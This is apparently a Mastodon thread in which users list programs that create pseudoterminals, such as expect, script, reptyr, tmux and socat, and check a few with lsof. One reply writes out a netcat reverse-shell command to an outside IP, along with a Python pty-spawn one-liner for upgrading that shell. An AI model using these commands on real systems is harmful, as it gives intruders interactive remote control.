trying to make a list of programs that create a pseudoterminal to do something cool, so far I have:
- asciinema (to record your session)
- unbuffer (to "trick" any application into think it's writing to a TTY)
- tmux/screen/sshd/tmate
- terminal "servers" that you can use to have a terminal in a web browser
what else? I know there's `script` but I've never actually been able to find a practical use for script that I understood
@b0rk `expect` is a whole scripting language built around the concept of puppeting an interactive command line application that doesn't have its own built-in scripting language. https://www.nist.gov/services-resources/software/expect
@zwol oh interesting have you used it? I keep hearing about it (like `unbuffer` is part of the expect package) but it's unclear to me what people are using it for these days
@b0rk Thinking reptyr which allows to migrate most TTY-using-Software into another TTY usually using running inside screen or tmux.
@b0rk People where I work use script to log the input and output when doing complex software upgrades, so they have a log when things break, and have a reference when updating procedures
@mulad @b0rk This is my typical usage case too. If I'm doing a Linux package update and I'm worried that something might blow up and, say, terminate my desktop, I'll run the update in screen (for persistence) plus script (so I can go back and look at the output from when my desktop crashed).
I especially do this for my (live) Linux distribution version updates, because they're the most chancy, even with pre-testing.
@b0rk@social.jvns.ca There's a great use for script! https://askubuntu.com/questions/306047/what-does-the-script-dev-null-do
I have no knowledge of any other uses for this application.
@b0rk@social.jvns.ca I swear most of my terminal knowledge is just "here's a special hack. no I don't know what the original program does. no I don't know how this program works for this task. memorise and move on"
@promovicz @zwol that's really interesting -- why would you go through a terminal to test a C program instead of writing the tests in C?
is the idea that writing tests is annoying to do in C so it's easier to write the tests in a scripting language?
@b0rk @promovicz A lot of the tests are "run the compiler on this *bad* source file and then check we got the expected error messages", which is indeed much easier in a scripting language.
A lot more of the tests are "run the compiler on this good source file, then run the executable and it shouldn't crash", and this is where it becomes relevant that the scripting language is Expect and it can mess with terminals. See, you might be cross-compiling to a CPU that you have in the form of a little "dev board", a tiny computer that, at the time, wouldn't have had its own network card. You'd talk to this board over a serial cable, using a program like `cu`, and it'd be running a special shell with a mode for transferring files over the serial cable. Automating that was (again, at the time) easier in Expect specifically than in most other scripting languages.
@b0rk does vim’s terminal mode count? I actually have no idea but it feels like it might so I figured I’d mention it
@dabe does it use a pseudoterminal? I just tried it and it didn't seem to but I might have misunderstood what vim's "terminal mode" is
@b0rk nohup will run a command that ignores hangup signals. You can use it for things like launching a process from a terminal, that will keep running after you close the terminal. I also recall it used to be a pretty common way to get things to run headless as a system daemon.
@stibbons does nohup create a pseudoterminal? when I strace it it looks like it just sets up the signal handles to ignore SIGHUP and then `exec`s the program
@b0rk What I mean is this https://neo.vimhelp.org/nvim_terminal_emulator.txt.html#terminal, accessible by running the `:terminal` command. Now that I’m actually reading the docs and looking up what exactly a pseudoterminal is…. I’m actually still not sure if it counts 😆
@dabe thanks! I checked (with lsof) and that definitely does use a pseudoterminal
@b0rk socat, for forwarding traffic from a serial port to anywhere.
@b0rk mplayer can output ASCII video with "-vo aa" I think. There are a bunch of other tools like this.
@b0rk one “legitimate” use for script is to upgrade a reverse shell (nc -e /bin/sh 182.168.1.1 1234) which cannot run full screen programs like vi, or read a password (eg sudo). Run script /dev/null, now you can.
There’s also a python one liner that does a similar thing:
python -c ‘import pty;pty.spawn("bash")’
@b0rk sudo can create a new pty depending on configuration for various security reasons, in particular so that when root does "sudo user", code running as "user" can't inject characters into the original root shell. not sure if that counts as doing something cool ^^
@b0rk Does fzf with its various integrations (like fzf-tab) count?
@kubukoz I checked with lsof and it looks like fzf doesn't set up a pseudoterminal